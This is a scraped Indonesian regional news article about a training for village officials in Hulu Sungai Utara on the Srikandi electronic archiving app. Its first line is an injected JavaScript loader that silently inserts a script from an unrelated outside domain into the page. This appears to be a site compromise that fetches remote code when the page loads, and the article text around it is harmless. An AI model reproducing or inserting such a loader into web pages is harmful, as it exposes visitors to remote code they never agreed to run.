(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI — Mendukung program transformasi digital pemerintahan desa, Dinas Perpustakaan dan Kearsipan (Dispersip) Kabupaten Hulu Sungai Utara (HSU) memberikan Bimbingan Teknis (Bimtek) peningkatan kapasitas kepada perangkat desa se Kabupaten HSU melalui pembuatan akun dan pemanfaatan aplikasi Srikandi.
Kepala Dinas Perpustakaan HSU, Karyanadi mengatakan bahwa kegiatan ini bertujuan memberikan pemahaman serta keterampilan teknis kepada aparat desa agar mampu mengoperasikan aplikasi Srikandi secara optimal.
“Melalui bimtek ini, kami ingin perangkat desa terbiasa menggunakan aplikasi ini secara rutin. Penggunaan aplikasi Srikandi akan membantu mengefisiensikan anggaran, serta memastikan sistem persuratan tetap berjalan secara elektronik,” katanya, saat kegiatan di aula Dispersip HSU, Rabu (15/10/2025).
Srikandi merupakan aplikasi yang mendukung pembuatan, pengelolaan, dan pelestarian arsip, serta surat-menyurat dinas secara efisien, aman, dan terintegrasi.
“Aplikasi ini juga menjadi bagian penting dari pelaksanaan Sistem Pemerintahan Berbasis Elektronik (SPBE) di lingkungan Pemerintah Kabupaten HSU,” jelasnya.
Sementara itu, Bupati HSU melalui Asisten I Bidang Pemerintahan dan Kesejahteraan Rakyat, Khairussalim, saat membuka kegiatan menegaskan bahwa aplikasi Srikandi adalah wujud nyata komitmen pemerintah daerah dalam mendukung transformasi digital, khususnya di bidang kearsipan.
“Dengan sistem ini, kita berharap pengelolaan arsip dinamis dapat dilakukan secara lebih efisien, transparan, dan terintegrasi antar perangkat daerah. Penerapan Srikandi bukan hanya soal teknologi, tapi juga soal budaya kerja baru yang lebih tertib administrasi, akuntabel, dan berorientasi pada pelayanan publik,” tegasnya.
Dia mengajak seluruh perangkat daerah untuk mendukung penuh proses implementasi Srikandi, mulai dari pembuatan akun, pelatihan, hingga tahap pelaksanaannya.
“Mari kita jadikan Srikandi sebagai alat pemersatu dalam tata kelola arsip yang profesional dan berdaya guna. Semoga kegiatan ini membawa manfaat besar bagi kemajuan daerah kita,” tambah Khairussalim.
Kegiatan ini menghadirkan dua narasumber, yakni Saubari dari Dispersip HSU dan Aqil dari Dinas Komunikasi, Informatika, Persandian dan Statistik (Kominfosandi) HSU, yang memberikan pemaparan teknis seputar penggunaan aplikasi Srikandi dalam tata kelola persuratan dan kearsipan desa.
Dengan terselenggaranya Bimtek ini, diharapkan seluruh perangkat desa di Kabupaten HSU segera mengimplementasikan aplikasi Srikandi sebagai bagian dari reformasi birokrasi dan pelayanan publik berbasis digital. (Kanalkalimantan.com/dew)
Reporter: dew
Editor: bie
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More
KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More
KANALKALIMANTAN. COM, PONTIANAK - PT PLN (Persero) Unit Pelaksana Pengatur Beban (UP2B) Kalimantan Barat memastikan… Read More
This website uses cookies.